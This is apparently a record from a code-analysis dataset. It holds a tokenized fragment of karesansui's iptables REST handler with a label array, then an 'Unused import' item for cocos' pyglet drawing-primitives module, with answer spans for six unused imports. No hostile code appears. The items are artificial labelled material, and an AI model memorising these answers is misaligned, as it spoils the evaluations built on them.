"al", " ", "Server", " ", "Error", ".", " ", "(", "Time", "out", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "config_", "=_", "dop", "_", "._", "get_", "(_", "\"", "iptables", "\"_", ",_", "[_", "\"", "config", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "status_", "=_", "dop", "_", "._", "get_", "(_", "\"", "iptables", "\"_", ",_", "[_", "\"", "status", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lint_", "=_", "dop", "_", "._", "get_", "(_", "\"", "iptables", "\"_", ",_", "[_", "\"", "lint", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "policies_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "\\u", "alin", "e_", "in_", "status_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "re_", "._", "match_", "(_", "\"\\\\", "*(", "?", "P", "<", "table", ">[", "a", "-", "z", "]+)\"", "_", ",_", "\\u", "alin", "e_", "._", "rstrip_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table_", "=_", "m_", "._", "group_", "(_", "\"", "table", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "policies_", "[_", "table_", "]_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "re_", "._", "match_", "(_", "\":", "(?", "P", "<", "chain", ">[", "A", "-", "Z", "]+)", " ", "+(?", "P", "<", "policy", ">[", "A", "-", "Z", "]+)\"", "_", ",_", "\\u", "alin", "e_", "._", "rstrip_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "chain_", "=_", "m_", "._", "group_", "(_", "\"", "chain", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "policy_", "=_", "m_", "._", "group_", "(_", "\"", "policy", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "policies_", "[_", "table_", "]_", "[_", "chain_", "]_", "=_", "policy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "view_", "._", "config_", "=_", "\"\\\\", "n", "\"_", "._", "join_", "(_", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "view_", "._", "status_", "=_", "\"\\\\", "n", "\"_", "._", "join_", "(_", "status_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "view_", "._", "lint_", "=_", "lint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "view_", "._", "policies_", "=_", "policies_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "view_", "._", "result", "\\u", "js_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Host", "By", "1", "Ip", "tables_", "(_", "Rest", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "auth_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "PUT_", "(_", "self_", ",_", "*_", "param_", ",_", "**_", "params_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host", "\\u", "id_", "=_", "self_", "._", "chk", "\\u", "host", "by", "1_", "(_", "param_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "host", "\\u", "id_", "is_", "None_", ":_", "return_", "web_", "._", "notfound", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "host_", "=_", "find", "by", "host", "1_", "(_", "self_", "._", "orm_", ",_", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "validates", "\\u", "iptables", "\\u", "save_", "(_", "self_", ",_", "host_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "web_", "._", "bad", "request_", "(_", "self_", "._", "view_", "._", "alert_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "kar", "esa", "nsu", "i_", "._", "lib_", "._", "dict", "\\u", "op_", "import_", "Dict", "Op_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dop", "_", "=_", "Dict", "Op_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dop", "_", "._", "addc", "onf_", "(_", "\"", "iptables", "\"_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dop", "_", "._", "set_", "(_", "\"", "iptables", "\"_", ",_", "[_", "\"", "config", "\"_", "]_", ",_", "self_", "._", "input_", "._", "iptables", "\\u", "save_", "._", "split_", "(_", "\"\\\\", "r", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "retval_", "=_", "write", "\\u", "conf_", "(_", "dop", "_", ",_", "self_", ",_", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "retval_", "is_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "web_", "._", "internal", "error_", "(_", "'", "Intern", "al", " ", "Server", " ", "Error",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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
los-cocos/cocos/tools/primitives.py
[ { "content": "#!/usr/bin/env python\n\"\"\"\nImplementing 2D drawing primitives using\npyglet.gl\ncopyright 2007 by Flavio Codeco Coelho\n\"\"\"\n\nfrom __future__ import division, print_function, unicode_literals\n\nfrom pyglet import font\nfrom pyglet import clock\nfrom pyglet import window\nfrom pyglet import image\nfrom pyglet.gl import *\nfrom pyglet.window import mouse\nfrom pyglet.window import event\nfrom pyglet.window import key\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n \n\n# intersectable shapes (draggable)\n\n\n\n\n\n\nif __name__==\"__main__\":\n import random\n win = window.Window()\n glClearColor(.8, .8, .8, 1.0)\n glEnable(GL_BLEND)\n \n glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\n p = Pixel(10,10)\n c = Circle(200,100,width=100,color=(0.,.9,0.,1.))\n a = Arc(150,150,radius=100,color=(1.,0.,0.,1.),sweep=90,style=GLU_FILL)\n P = Polygon([(0, 0), (50, 200), (80, 200),(60,100),(100,5)],color=(.3,0.2,0.5,.7))\n l = Line((10,299),(100,299),stroke=2,color=(0,0.,1.,1.))\n while not win.has_exit:\n win.dispatch_events()\n col = [random.random() for i in range(3)]+[1]\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n c.color = col\n c.render()\n p.render()\n a.render()\n a.rotation+=1\n P.render()\n l.render()\n win.flip()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Base(object):\n \"\"\"\n Basic attributes of all drawing primitives\n \"\"\"\n loc = property(getLoc, setLoc)\n x = property(getX, setX)\n y = property(getY, setY)\n width = property(getWidth, setWidth)\n height = property(getHeight, setHeight)", "metadata": "root.Base", "header": "['module', '___EOS___']", "index": 18 }, { "content": " def __init__(self, x, y, z=0, color=(0.,0.,0.,1.), stroke=0, rotation=0):\n try :\n self.rect\n except AttributeError:\n self.rect = Rect(x,y,1,1) # this inits x,y and loc as well\n self.visible = 1 #\n self.z = z \n self.rotation = rotation\n self.stroke = stroke\n self.color = color\n self.q = gluNewQuadric()", "metadata": "root.Base.__init__", "header": "['class', 'Base', '(', 'object', ')', ':', '___EOS___']", "index": 22 }, { "content": " def setLoc(self, p) : self.rect.loc = p ", "metadata": "root.Base.setLoc", "header": "['class', 'Base', '(', 'object', ')', ':', '___EOS___']", "index": 33 }, { "content": " def getLoc(self) : return self.rect.loc", "metadata": "root.Base.getLoc", "header": "['class', 'Base', '(', 'object', ')', ':', '___EOS___']", "index": 34 }, { "content": " def setX(self, x) : self.rect.x = x ", "metadata": "root.Base.setX", "header": "['class', 'Base', '(', 'object', ')', ':', '___EOS___']", "index": 35 }, { "content": " def getX(self) : return self.rect.x ", "metadata": "root.Base.getX", "header": "['class', 'Base', '(', 'object', ')', ':', '___EOS___']", "index": 36 }, { "content": " def setY(self, y) : self.rect.y = y ", "metadata": "root.Base.setY", "header": "['class', 'Base', '(', 'object', ')', ':', '___EOS___']", "index": 37 }, { "content": " def getY(self) : return self.rect.y", "metadata": "root.Base.getY", "header": "['class', 'Base', '(', 'object', ')', ':', '___EOS___']", "index": 38 }, { "content": " def setWidth(self,w) : self.rect.width = w", "metadata": "root.Base.setWidth", "header": "['class', 'Base', '(', 'object', ')', ':', '___EOS___']", "index": 42 }, { "content": " def getWidth(self) : return self.rect.width", "metadata": "root.Base.getWidth", "header": "['class', 'Base', '(', 'object', ')', ':', '___EOS___']", "index": 43 }, { "content": " def setHeight(self, h) : self.rect.height = h", "metadata": "root.Base.setHeight", "header": "['class', 'Base', '(', 'object', ')', ':', '___EOS___']", "index": 44 }, { "content": " def getHeight(self) : return self.rect.height", "metadata": "root.Base.getHeight", "header": "['class', 'Base', '(', 'object', ')', ':', '___EOS___']", "index": 45 }, { "content": "class Pixel(Base):\n \"\"\" A pixel at a given x,y,z position and color.\n Pixel(x=12, y=100, z=900, color=(1,0,0,0.5))\n \"\"\"\n", "metadata": "root.Pixel", "header": "['module', '___EOS___']", "index": 49 }, { "content": " def render(self):\n \"\"\"\n Draws a pixel at a given x and y with given color .\n Color = 3 or 4 arg tuple. RGB values from 0 to 1 being 1 max value (1, 1, 1) would be white\n \"\"\"\n glColor4f(*self.color)\n## glDisable(GL_TEXTURE_2D) # disable in case it was on\n \n glPushMatrix() # remember previous matrix state before translating, rotating\n glTranslatef(self.x, self.y, -self.z) # translate to point to draw\n\n glBegin(GL_POINTS) # draw point\n glVertex3f(0.0, 0.0, 0.0)\n glEnd()\n\n glPopMatrix() # back to previous matrix state", "metadata": "root.Pixel.render", "header": "['class', 'Pixel', '(', 'Base', ')', ':', '___EOS___']", "index": 53 }, { "content": " def intersects(self, x,y):\n if x==self.x and y==self.y : return True", "metadata": "root.Pixel.intersects", "header": "['class', 'Pixel', '(', 'Base', ')', ':', '___EOS___']", "index": 70 }, { "content": "class Circle(Base):\n \"\"\" Circle class\n Circle(x=20, y=100, z=1, width=300, color=(1,1,0,0.3), stroke=5, rotation=0, style=GLU_FILL)\n style choices are : GLU_LINE, GLU_FILL, GLU_SILHOUETTE, GLU_POINT\n \"\"\"\n \n width = property(Base.getWidth, setWidth)\n ", "metadata": "root.Circle", "header": "['module', '___EOS___']", "index": 73 }, { "content": " def __init__(self, x=10, y=10, z=0, width=2, color=(0,0,0,1), stroke=0, rotation=0.0, style=GLU_FILL):\n self.radius = width*0.5\n self.rect = Rect(x, y, width, width)\n self.style = style\n self.circleresolution = 60\n Base.__init__(self, x,y,z,color, stroke, rotation)", "metadata": "root.Circle.__init__", "header": "['class', 'Circle', '(', 'Base', ')', ':', '___EOS___']", "index": 78 }, { "content": " def setWidth(self, w):\n self.radius = w*0.5\n self.rect.width = w", "metadata": "root.Circle.setWidth", "header": "['class', 'Circle', '(', 'Base', ')', ':', '___EOS___']", "index": 85 }, { "content": " def render(self):\n \"\"\" Draw Circle\n x, y, z, width in pixel, rotation, color and line width in px\n style choices are : GLU_LINE, GLU_FILL, GLU_SILHOUETTE, GLU_POINT\n TO DO : textured circles\n \"\"\"\n \n glColor4f(*self.color)\n glPushMatrix()\n\n glTranslatef(self.x, self.y, -self.z)\n glRotatef(self.rotation, 0, 0, 0.1)\n\n\n if self.radius < 1 : self.radius = 1\n\n if self.stroke :\n inner = self.radius - self.stroke # outline width\n if inner < 0: inner=0\n else :\n inner = 0 # filled\n \n gluQuadricDrawStyle(self.q, self.style)\n\n gluDisk(self.q, inner, self.radius, self.circleresolution, 1) # gluDisk(quad, inner, outer, slices, loops)\n \n glPopMatrix()", "metadata": "root.Circle.render", "header": "['class', 'Circle', '(', 'Base', ')', ':', '___EOS___']", "index": 90 }, { "content": "class Arc(Base):\n \"\"\" Arc class\n Arc(x=10, y=10, z=0, radius=1, start=0, sweep=1, color=(0,0,0,1), stroke=0, rotation=0.0, style=GLU_FILL)\n style choices are : GLU_LINE, GLU_FILL, GLU_SILHOUETTE, GLU_POINT\n \"\"\"\n ", "metadata": "root.Arc", "header": "['module', '___EOS___']", "index": 120 }, { "content": " def __init__(self, x=10, y=10, z=0, radius=1, start=0, sweep=1, color=(0,0,0,1), stroke=0,\n rotation=0.0, style=GLU_FILL):\n\n Base.__init__(self, x,y,z,color, stroke, rotation)\n self.radius = radius\n self.start = start\n self.sweep = sweep\n self.style = style\n self.circleresolution = 60", "metadata": "root.Arc.__init__", "header": "['class', 'Arc', '(', 'Base', ')', ':', '___EOS___']", "index": 125 }, { "content": " def render(self):\n \"\"\"\n Draws Arc\n \"\"\"\n glColor4f(*self.color)\n glPushMatrix()\n\n glTranslatef(self.x, self.y, -self.z)\n glRotatef(self.rotation, 0, 0, 0.1)\n\n if self.stroke : \n inner = self.radius - self.stroke\n if inner < 0: inner=0\n else :\n inner = 0 # full, no inner\n self.start -= 180\n \n gluQuadricDrawStyle(self.q, self.style)\n \n gluPartialDisk(self.q, inner, self.radius, self.circleresolution, 1, self.start, self.sweep)\n \n glPopMatrix()", "metadata": "root.Arc.render", "header": "['class', 'Arc', '(', 'Base', ')', ':', '___EOS___']", "index": 135 }, { "content": "class Polygon(Base):\n\n\n x = property(Base.getX, setX)\n y = property(Base.getY, setY)\n loc = property(Base.getLoc, setLoc)\n \n\n ", "metadata": "root.Polygon", "header": "['module', '___EOS___']", "index": 160 }, { "content": " def __init__(self, v, z=0, color=(0,0,0,1), stroke=0, rotation=0.0, style=0):\n \"\"\" polygon class\n Polygon(vertexarray=[(0, 0), (29, 100), (30, 200)], z=100, color=(0,0.3,0.1,1), stroke=0, rotation=23)\n overwrites few methods from superclass as polygons are more complex, needs to update everyvertex.\n \"\"\"\n self.v = v\n l, t, r, b = calcPolygonRect(v) # get the bounding rect\n self.rect = Rect(l+(r-l)*0.5, t+(b-t)*0.5, r-l, b-t)\n self.v2 = [(i[0] - self.rect.x, i[1] - self.rect.y) for i in v] #relative polygon\n\n self.style = style\n \n Base.__init__(self, self.rect.x, self.rect.y, z,color,stroke,rotation)", "metadata": "root.Polygon.__init__", "header": "['class', 'Polygon', '(', 'Base', ')', ':', '___EOS___']", "index": 161 }, { "content": " def updateV(self):\n self.v = [(self.rect.x + n[0], self.rect.y + n[1]) for n in self.v2]", "metadata": "root.Polygon.updateV", "header": "['class', 'Polygon', '(', 'Base', ')', ':', '___EOS___']", "index": 175 }, { "content": " def setLoc(self, p):\n self.rect.loc = p ; self.updateV()", "metadata": "root.Polygon.setLoc", "header": "['class', 'Polygon', '(', 'Base', ')', ':', '___EOS___']", "index": 178 }, { "content": " def setX(self, x):\n self.rect.x = x ; self.updateV()", "metadata": "root.Polygon.setX", "header": "['class', 'Polygon', '(', 'Base', ')', ':', '___EOS___']", "index": 180 }, { "content": " def setY(self, y):\n self.rect.y = y; self.updateV()", "metadata": "root.Polygon.setY", "header": "['class', 'Polygon', '(', 'Base', ')', ':', '___EOS___']", "index": 182 }, { "content": " def render(self):\n \"\"\" Draw Polygon\n v is an array with tuple points like [(x, y), (x2, y2), (x3, y3)]\n min vertex number to draw a polygon is 3\n stroke=0 to fil with color the inside of the shape or stroke=N just to draw N-px thick outline.\n Note. It doesnt work with non convex polygons, need to implement tesselation yet\n \"\"\"\n l,t,r,b = calcPolygonRect(self.v)\n x,y = calcRectCenter(l,t,r,b)\n self.drawVertex(x, y, self.z, [(i[0] - x, i[1] - y) for i in self.v], self.color, self.stroke, self.rotation, self.style)", "metadata": "root.Polygon.render", "header": "['class', 'Polygon', '(', 'Base', ')', ':', '___EOS___']", "index": 188 }, { "content": " def drawVertex(self, x, y, z=0, v=(), color=(0,0,0,1), stroke=0, rotation=0.0, style=0):\n \n glColor4f(*self.color) \n glPushMatrix()\n\n glTranslatef(x, y, -z)\n glRotatef(self.rotation, 0, 0, 0.1)\n\n if self.style :\n glEnable(GL_LINE_STIPPLE)\n glLineStipple(1, style)\n## else :\n## glDisable(GL_LINE_STIPPLE)\n## 0xF0F0 # dashed line\n## 0xF00F # long dashed line\n## 0x8888 # dotted lines\n## glRect(x1,y,1,x1,x2)\n## glRectiv(v1,v2) # oposite vertex of rectangle\n # -- start drawing\n if self.stroke : # outlined polygon\n glLineWidth(self.stroke)\n glBegin(GL_LINE_LOOP)\n else: # filled polygon\n if len(v) == 4 : glBegin(GL_QUADS)\n elif len(v) > 4 : glBegin(GL_POLYGON)\n else : glBegin(GL_TRIANGLES) # which type of polygon are we drawing?\n\n for p in v:\n glVertex3f(p[0], p[1],0) # draw each vertex\n\n glEnd()\n # -- end drawing\n \n if self.style : glDisable(GL_LINE_STIPPLE)\n \n glPopMatrix()", "metadata": "root.Polygon.drawVertex", "header": "['class', 'Polygon', '(', 'Base', ')', ':', '___EOS___']", "index": 200 }, { "content": "class LineRel(Base):\n\n\n\n\n x = property(Base.getX, setX)\n y = property(Base.getY, setY)\n loc = property(Base.getLoc, setLoc)", "metadata": "root.LineRel", "header": "['module', '___EOS___']", "index": 238 }, { "content": " def __init__(self, x,y, a=(0,0), b=(0,0), z=0, color=(0,0,0,1), stroke=0, rotation=0.0, style=0):\n \"\"\" Draws a basic line given the begining and end point (tuples), color (tuple) and stroke\n (thickness of line)\n Line( x,y, a=(1,1), b=(100,100), z=0, color=(0.2,0,0,1), stroke=10, rotation=45)\n \"\"\"\n w = (b[0] - a[0]) \n h = (b[1] - a[1]) \n x = abs(a[0] + w*0.5)\n y = abs(a[1] + h*0.5)\n self.a2 = abs(a[0]) - x, abs(a[1]) - y\n self.b2 = abs(b[0]) - x, abs(b[1]) - y\n self.a = x - w*0.5, y - w*0.5\n self.b = x + w*0.5, y + w*0.5\n self.rect = Rect(x, y, w, h)\n self.style = style\n Base.__init__(self, x, y, z,color,stroke,rotation)", "metadata": "root.LineRel.__init__", "header": "['class', 'LineRel', '(', 'Base', ')', ':', '___EOS___']", "index": 239 }, { "content": " def render(self):\n \"\"\"\n Draws Line\n \"\"\"\n p1 = self.a2\n p2 = self.b2\n glColor4f(*self.color)\n color = (GLfloat *4)(*self.color)\n \n glPushMatrix()\n\n glTranslatef(self.x, self.y, -self.z) # translate to GL loc ppint\n glRotatef(self.rotation, 0, 0, 0.1)\n\n if self.style :\n glEnable(GL_LINE_STIPPLE)\n glLineStipple(1, self.style)\n## else :\n## glDisable(GL_LINE_STIPPLE)\n \n if self.stroke <= 0:\n self.stroke = 1\n glLineWidth(self.stroke)\n\n glBegin(GL_LINES)\n glVertex2i(int(p1[0]), int(p1[1])) # draw pixel points\n glVertex2i(int(p2[0]), int(p2[1]))\n glEnd()\n\n if self.style :\n glDisable(GL_LINE_STIPPLE)\n \n glPopMatrix()", "metadata": "root.LineRel.render", "header": "['class', 'LineRel', '(', 'Base', ')', ':', '___EOS___']", "index": 256 }, { "content": " def updateAB(self):\n self.a = self.x + self.a[0], self.y + self.a[0]\n self.b = self.x + self.b[0], self.y + self.b[0]", "metadata": "root.LineRel.updateAB", "header": "['class', 'LineRel', '(', 'Base', ')', ':', '___EOS___']", "index": 291 }, { "content": " def setLoc(self, p):\n self.rect.loc = p ; self.updateAB()", "metadata": "root.LineRel.setLoc", "header": "['class', 'LineRel', '(', 'Base', ')', ':', '___EOS___']", "index": 295 }, { "content": " def setX(self, x):\n self.rect.x = x ; self.updateAB()", "metadata": "root.LineRel.setX", "header": "['class', 'LineRel', '(', 'Base', ')', ':', '___EOS___']", "index": 297 }, { "content": " def setY(self, y):\n self.rect.y = y; self.updateAB()", "metadata": "root.LineRel.setY", "header": "['class', 'LineRel', '(', 'Base', ')', ':', '___EOS___']", "index": 299 }, { "content": "class Line(LineRel):", "metadata": "root.Line", "header": "['module', '___EOS___']", "index": 306 }, { "content": " def __init__(self, a=(0,0), b=(0,0), z=0, color=(0,0,0,1), stroke=0, rotation=0.0, style=0):\n \"\"\" Draws a basic line given the begining and end point (tuples), color (tuple) and stroke\n (thickness of line)\n Line( a=(1,1), b=(100,100), z=20, color=(0.2,0,0,1), stroke=10, rotation=45)\n \"\"\"\n w = (b[0] - a[0]) \n h = (b[1] - a[1]) \n x = abs(a[0] + w*0.5) # abs x,y\n y = abs(a[1] + h*0.5)\n a = x-w*0.5, y-h*0.5 # relative a,b\n b = x+w*0.5, y+h*0.5\n LineRel.__init__(self, x, y, a, b, z, color, stroke, rotation, style)", "metadata": "root.Line.__init__", "header": "['class', 'Line', '(', 'LineRel', ')', ':', '___EOS___']", "index": 307 }, { "content": "class Rect(object):\n\n rect = property(getRect, setRect)\n\n quad = property(getQuad, setQuad)\n\n x = property(getX, setX)\n\n y = property(getY, setY)\n\n loc = property(getLoc, setLoc)\n\n width = property(getWidth, setWidth)\n \n height = property(getHeight, setHeight)\n\n left = property(getLeft, setLeft)\n \n top = property(getTop, setTop)\n \n right = property(getRight, setRight)\n \n bottom = property(getBottom, setBottom)", "metadata": "root.Rect", "header": "['module', '___EOS___']", "index": 324 }, { "content": " def __init__(self, x=0,y=0,w=0,h=0):\n \"\"\" rect(self, x=0,y=0,w=0,h=0)\n x,y,loc, width, height\n left,top,right,bottom\n quad ->\n --------------------\n topleft = quad[0]\n topright = quad[1]\n bottomright = quad[2]\n bottomleft = quad[3]\n \"\"\"\n self.rect = x,y,w,h", "metadata": "root.Rect.__init__", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 325 }, { "content": " def setRect(self, r):\n self.__x = r[0]\n self.__y = r[1]\n self.__width = r[2]\n self.__height = r[3]\n w = r[2]*0.5 ; h = r[3]*0.5\n self.__rect = r[0]-w, r[1]-h, r[0]+w, r[1]+h # l t r b", "metadata": "root.Rect.setRect", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 338 }, { "content": " def getRect(self):\n return self.__rect", "metadata": "root.Rect.getRect", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 345 }, { "content": " def setQuad(self, q): # [ q[0][0], q[0][1], q[1][0], q[2][1] ] # l t r b\n self.rect = q[0][0]+(q[1][0]-q[0][0])*0.5, q[0][1]+(q[2][1]-q[0][1])*0.5, q[1][0]-q[0][0], q[2][1]-q[0][1] ", "metadata": "root.Rect.setQuad", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 349 }, { "content": " def getQuad(self):\n return [(self.rect[0], self.rect[1]),(self.rect[2], self.rect[1]),(self.rect[2], self.rect[3]),(self.rect[0], self.rect[3])] # tl tr br bl", "metadata": "root.Rect.getQuad", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 351 }, { "content": " def setX(self, x):\n self.rect = x, self.y, self.width, self.height", "metadata": "root.Rect.setX", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 355 }, { "content": " def getX(self) : return self.__x", "metadata": "root.Rect.getX", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 357 }, { "content": " def setY(self, y):\n self.rect = self.x, y, self.width, self.height", "metadata": "root.Rect.setY", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 360 }, { "content": " def getY(self) : return self.__y", "metadata": "root.Rect.getY", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 362 }, { "content": " def setLoc(self, p):\n self.rect = p[0], p[1], self.width, self.height", "metadata": "root.Rect.setLoc", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 365 }, { "content": " def getLoc(self) : return self.__x, self.__y # self.x, self.y", "metadata": "root.Rect.getLoc", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 367 }, { "content": " def setWidth(self, w):\n self.rect = self.x, self.y, w, self.height", "metadata": "root.Rect.setWidth", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 370 }, { "content": " def getWidth(self): return self.__width", "metadata": "root.Rect.getWidth", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 372 }, { "content": " def setHeight(self, h):\n self.rect = self.x, self.y, self.width, h", "metadata": "root.Rect.setHeight", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 375 }, { "content": " def getHeight(self): return self.__height", "metadata": "root.Rect.getHeight", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 377 }, { "content": " def setLeft(self,x):\n self.rect = x+self.width*0.5, self.y, self.width, self.height", "metadata": "root.Rect.setLeft", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 380 }, { "content": " def getLeft(self): return self.rect[0]", "metadata": "root.Rect.getLeft", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 382 }, { "content": " def setTop(self,y):\n self.rect = self.x, y+self.width*0.5, self.width, self.height", "metadata": "root.Rect.setTop", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 385 }, { "content": " def getTop(self): return self.rect[1]", "metadata": "root.Rect.getTop", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 387 }, { "content": " def setRight(self,x):\n self.rect = x-self.width*0.5, self.y, self.width, self.height", "metadata": "root.Rect.setRight", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 390 }, { "content": " def getRight(self): return self.rect[2]", "metadata": "root.Rect.getRight", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 392 }, { "content": " def setBottom(self,x):\n self.rect = self.x, y-self.width*0.5, self.width, self.height", "metadata": "root.Rect.setBottom", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 395 }, { "content": " def getBottom(self): return self.rect[3]", "metadata": "root.Rect.getBottom", "header": "['class', 'Rect', '(', 'object', ')', ':', '___EOS___']", "index": 397 }, { "content": "def calcPolygonRect(pointArray):\n \"\"\" receives a point list and returns the rect that contains them as a tupple -> tuple left, top, right, bottom\n \"\"\"\n # init to ridiculously big values. not very elegant or eficient\n l, t, r, b = 10000000, 10000000, -10000000, -10000000\n## l = pointArray[0]\n## t = pointArray[1]\n## r = l\n## b = t\n\n for n in pointArray: # calc bounding rectangle rect\n if n[0] < l : l = n[0]\n if n[0] > r : r = n[0]\n if n[1] < t : t = n[1]\n if n[1] > b : b = n[1]\n\n return l, t, r, b", "metadata": "root.calcPolygonRect", "header": "['module', '___EOS___']", "index": 401 }, { "content": "def calcRectCenter(l,t,r,b):#,v=()):\n \"\"\" returns rect center point -> x,y\n calcRectCenter(l,t,r,b)\n \"\"\"\n## if len(v) : l,t,r,b = v[0],v[1],v[2],v[3]\n return l+((r-l)*0.5), t+((b-t)*0.5)", "metadata": "root.calcRectCenter", "header": "['module', '___EOS___']", "index": 420 } ]
[ { "span": "from pyglet import font", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 23 }, { "span": "from pyglet import clock", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 24 }, { "span": "from pyglet import image", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 24 }, { "span": "from pyglet.window import mouse", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 31 }, { "span": "from pyglet.window import event", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 31 }, { "span": "from pyglet.window import key", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 29 } ]
[]
1
false
